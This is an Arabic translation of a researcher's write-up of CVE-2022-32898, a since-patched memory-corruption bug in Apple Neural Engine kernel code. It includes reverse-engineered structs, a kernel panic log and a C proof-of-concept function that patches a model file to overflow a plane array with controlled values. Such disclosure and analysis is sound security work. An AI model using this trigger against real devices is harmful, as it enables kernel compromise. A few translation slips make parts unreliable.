ox1111/cve-2022-32898تحليل تقني وعرض استغلال لـ CVE-2022-32898، وهي ثغرة تلف ذاكرة في برنامج تشغيل Apple Neural Engine، مع هندسة عكسية مفصلة وتقنيات استغلال لنواة iOS.
Nov 23, 2022 • Mohamed GHANNAM (@_simo36)
أشارك ثغرتين أخريين في نواة iOS يمكن الوصول إليهما من بيئة الحماية الافتراضية للتطبيقات (sandbox) دون الحاجة إلى فتح اتصال UserClient:
تم إصلاح أكثر من 16 ثغرة في النواة أبلغت Apple بها ضمن iOS 16/16.1. سأقدم حديثًا في #POC2022 الشهر المقبل حول كيفية ربط بعض الثغرات لتحقيق قراءة/كتابة على مستوى النواة، وسيتم إصدار استغلال النواة لنظام iOS 15 إلى جانب ثغرات أخرى عالية التأثير بعد المؤتمر.
ميزتي المفضلة في IDA 8.0 حتى الآن: استيراد اصطناعي لأساليب Obj-C
في الإصدار التجريبي 3 من iOS 15.5، أزالت Apple الدالة IOMallocAligned(KHEAP_DEFAULT,...) من IOSharedDataQueue/IODataQueue::initWithCapacity() (والتي تستخدم الآن kernel_memory_allocate() مع علامة KMA_DATA). لقد كانت تقنية أنيقة لتهيئة الكومة الافتراضية للنواة ببيانات يتحكم فيها المستخدم. RIP
أثناء الهندسة العكسية للعملية التي يقوم بها محرك Apple العصبي (Apple Neural Engine) لتحميل نموذج على مستوى النواة، حددت ثغرتين مثيرتين للاهتمام في تلف الذاكرة في الكود المسؤول عن معالجة ميزات الشبكة العصبية في H11ANEIn::ANE_ProgramCreate_gated(). هذا النوع من الثغرات، في رأيي، سهل الاكتشاف عند المراجعة اليدوية لبرنامج تشغيل النواة، لكن يكاد يكون من المستحيل اكتشافه باستخدام أدوات التعتيم (fuzzers) ما لم تبنِ شيئًا متطورًا بشكل لا يُصدق.
الدالتان ZinComputeProgramGetNamesFromMultiPlaneLinear() و ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed() مسؤولتان معًا عن تحليل مدخلات ومخرجات الإجراء، أو بشكل أكثر دقة، أمر LC_THREAD مع thread flavor ذي القيمة 2 (ane_bind_state) الذي تكون قيمة binding_type_info فيه 4 و5.
على حد ما يمكنني استنتاجه، binding_type_info = 4 تعني أن مدخل الإجراء يحتوي على أكثر من مستوى واحد (plane)، بينما binding_type_info = 5 تعني أن المدخل لا يحتوي على أكثر من مستوى واحد فحسب، بل إنه مضغوط أيضًا.
الدالة ZinComputeProgramGetNamesFromMultiPlaneLinear() على سبيل المثال تأخذ 5 وسائط: مؤشرًا لأمر التحميل، ومؤشرًا لربط الخيط، وثلاث وسائط إخراج إضافية. وسيط الإخراج الأخير planes هو مصفوفة ستحتوي على المستويات (planes)، أو مؤشرات النواة، التي يتحكم المستخدم في محتوياتها، بينما يشير وسيط الإخراج الأخير planeCount إلى عدد المستويات (أو مؤشرات النواة) التي تم نسخها إلى planes من ملف model.hwx. فيما يلي تعريف الدالة:
بسبب غياب التحقق من عدد المستويات التي يمكن أن يوفرها النموذج، يمكن كتابة مؤشرات النواة خارج حدود مصفوفة planes، مما قد يؤدي إلى العديد من سيناريوهات تلف الذاكرة المثيرة للاهتمام.
مصفوفة planes هي متغير مكدس يقع في H11ANEIn::ANE_ProgramCreate_gated()، وبتجاوز سعة هذا المتغير (الذي يفترض أن يحمل مستويات متعددة حتى 4 عناصر) بأكثر من 4 مستويات، يمكن إتلاف متغيرات مكدس أخرى أيضًا، مما قد يؤدي إلى مشكلات أخرى مثل الخلط بين الأنواع (type-confusion) لأن مؤشرات النواة التي تُكتب فوق البيانات تخضع تمامًا لتحكم المستخدم.
من الواضح أن تجاوز سعة مصفوفة planes بعدد كبير جدًا من الإدخالات سيؤدي على الأرجح إلى الكتابة فوق حارس المكدس (stack cookie) بالإضافة إلى مؤشر إطار المكدس القديم المحفوظ، مما يؤدي إلى انهيار النواة (kernel panic). لحسن الحظ، العدد الإجمالي للمستويات يقع تمامًا ضمن سيطرة النموذج المُعطى، وبالتالي يمكننا إتلاف عدة متغيرات مكدس دون التأثير على تلك المناطق الحساسة من المكدس.
سيناريو آخر مثير للاهتمام، وكما هو موضح في الصورة أدناه، من الممكن تجاوز سعة كائنين في الكومة: H11ANEProgramBindingInfo (في السطر 528) و H11ANEProgramCreateArgsStructOutput (في السطر 533).
struct H11ANEProgramBindingInfo
{
struct {
uint32_t field_0;
char names[8][512];
uint32_t field_1004;
char *procedure_name;
} inputs[255], outputs[255];
};
تعريف البنية H11ANEProgramCreateArgsStructOutput موضح أعلاه، وقد يؤدي إتلافها إلى الأعطال التالية:
"panicString" : "panic(cpu 4 caller 0xfffffe00112e6184): Kernel data abort. at pc 0xfffffe0010a8a48c, lr 0x03effe0011b1b47c (saved state: 0xfffffe6089dca980)
x0: 0x1122334411223344 x1: 0xfffffe3000ecff20 x2: 0x0000000000000040 x3: 0x0000000000000000
x4: 0x0000000000000000 x5: 0x0000000000000000 x6: 0x00000000000000e8 x7: 0x0000000000000830
x8: 0xfffffe608949c000 x9: 0xfffffe24cec0d1b0 x10: 0xfffffe24cd7d4010 x11: 0xfffffe1667fa93e0
x12: 0x0000000000000001 x13: 0x0000000000000858 x14: 0xfffffe3000ed0760 x15: 0x00292a20736d6172
x16: 0x5bd9fe0010a8a470 x17: 0xfffffe0013ad55d8 x18: 0x0000000000000000 x19: 0x0000000000000000
x20: 0x0000000000000001 x21: 0xfffffe1b33ee3860 x22: 0xfffffe299a621a00 x23: 0xfffffe2999c72208
x24: 0xfffffe3000ec0000 x25: 0x00000000e00002d1 x26: 0xfffffe608949c000 x27: 0xfffffe60895a2054
x28: 0xfffffe6089dcb850 fp: 0xfffffe6089dcacd0 lr: 0x03effe0011b1b47c sp: 0xfffffe6089dcacd0
pc: 0xfffffe0010a8a48c cpsr: 0x00401208 esr: 0x96000004 far: 0x1122334411223344
ما يجعل هذه الثغرات مثيرة للاهتمام هو أنها لا تتطلب التفاعل المباشر مع النواة، بمعنى آخر، لا حاجة لفتح اتصال UserClient، كل ما عليك فعله هو تجميع (أو صياغة) نموذج خبيث والسماح لـ aned بتحميله نيابة عنك.
كما قد تعلم، لتحميل أي نموذج عبر aned، يجب أن يتم تجميع النموذج بواسطة خدمة النظام ANECompilerService أو توقيعه من Apple. بمعنى آخر، يجب أن يوفر التطبيق دليل .mlmodelc إلى aned، والذي سيطلب بدوره من ANECompilerService تجميعه إلى model.hwx باستخدام إطارين يُطلق عليهما Espresso و ANECompiler. إذا كنت لا تعرف ما الذي أتحدث عنه، فأنت مدعو لإلقاء نظرة على شرائح #POC2022 هنا حيث قدمت نظرة عامة أساسية حول كيفية عمل aned. بالإضافة إلى ذلك، يمكنك الحصول على مزيد من التفاصيل حول عملية التجميع من محادثة BlackHat الممتازة التي قدمها Wish Wu والمتعلقة ببحثه حول ANE، بالإضافة إلى أداته الرائعة التي تحاكي تمامًا ما يفعله ANECompilerService.
في حالتنا هذه، نحتاج إلى model.hwx يحتوي على إجراء يكون مدخله (أو مخرجه) داعمًا لمستويات متعددة. لسوء الحظ، لا يتوفر مثل هذا النموذج بصيغة mlmodel أو mlmodelc أو mlpackage، ولا توفر Apple سوى عدد قليل من النماذج بصيغة hwx. كشف فحص نماذج hwx هذه أنها تستخدم بعض عمليات الشبكة العصبية الغريبة/غير الموثقة غير الموجودة في قاعدة كود مكتبة coremltools مفتوحة المصدر، مما يشير إلى أن طبقات الشبكة هذه مخصصة على الأرجح للاستخدام الداخلي فقط. ومع ذلك، فإن تنفيذ هذه العمليات محدد بواسطة إطار Espresso، ويلزم القيام ببعض الهندسة العكسية لفهم المدخلات والمخرجات التي تدعمها وكيفية استخدامها بشكل صحيح كطبقة داخل شبكة عصبية. ولأن الإطار مكتوب بلغة C++ مع STL، لم أكن مهتمًا بالهندسة العكسية لهذه العملية لأنها ستستغرق وقتًا طويلاً جدًا.
كان هذا هو السبب الرئيسي الذي قادني إلى اكتشاف CVE-2022-32845، والتي لم تسمح لي فقط بتجنب الهندسة العكسية لهذا الإطار المخيف، بل وفرت لي أيضًا مئات الساعات من دراسة موضوعات التعلم الآلي المتقدمة.
لذا أخذت نموذج model.hwx بسيطًا وقمت بتعديل أحد أوامر LC_THREAD الخاصة به لإعادة إنتاج النتيجة المرغوبة في ane_bind_state، ثم استغليت CVE-2022-32845 لخداع aned لتحميله كما لو كان موقّعًا من Apple؛ وكان ذلك كافيًا لإثبات الثغرة لدى Apple.
الدالة التي تعدل النموذج موضحة أدناه، ويمكنك استعارة بعض الأكواد من استغلال نواة weightBufs الخاص بي إذا كنت تريد تشغيل الثغرة بنفسك.
void patch_hwx(const mach_header_64 *mh,size_t mh_size)
{
if((mh->magic != 0xfeedface) && (mh->magic != 0xbeefface)) {
dbg("[-] Bad Mach-O file \n");
return ;
}
struct load_command *lc = NULL;
FOR_EACH_COMMAND {
if (lc->cmd != LC_THREAD)
continue;
dbg("LC_THREAD command found \n");
compute_thread_command *thread = (compute_thread_command *)lc;
u32 name_off = 0;
switch (thread->flavor) {
case THREAD_BINDING: {
name_off = *(uint32_t*)((char*)thread + 0x18);
dbg("Binding Name \n");
compute_thread_binding * bd =
(compute_thread_binding *)&thread->thread_states;
bd->binding_typeinfo = 4;
bd->field4 = 1;
u32 plane_count = 0x30;
char *buf_start = (char*)lc + 0x20;
*(u32 *) buf_start = 0;
*(u32 *) (buf_start + 0x10) = plane_count;
char *_ptr = buf_start + 0x6C;
int i = 0;
uint64_t off = 0;
do {
if(off == 0)
off = (unsigned int)(_ptr + 4 - (char*)mh) + 8 ;
*(unsigned int *)_ptr = mh_size;
u64 *pp = (u64 *)&_ptr[4];
for(int k = 0; k < 4;k++)
pp[k] = 0x1122334411223344;
_ptr += 0x68;
}while (i++ < plane_count);
patched = true;
return;
}
case THREAD_PROCEDURE_OPERATION:
case THREAD_PROCEDURE:
default:
break;
}
dbg("\t ProcedureName '%s' \n",(char*)thread + name_off);
}
}
عالجت Apple المشكلة في iOS 16 من خلال إدخال بعض فحوصات التحقق في كلتا الدالتين المعرضتين للخطر، مع تحديد عدد المستويات المقدمة بأربعة إدخالات فقط، كما هو موضح أدناه:
هذا كل شيء الآن، أراك قريبًا!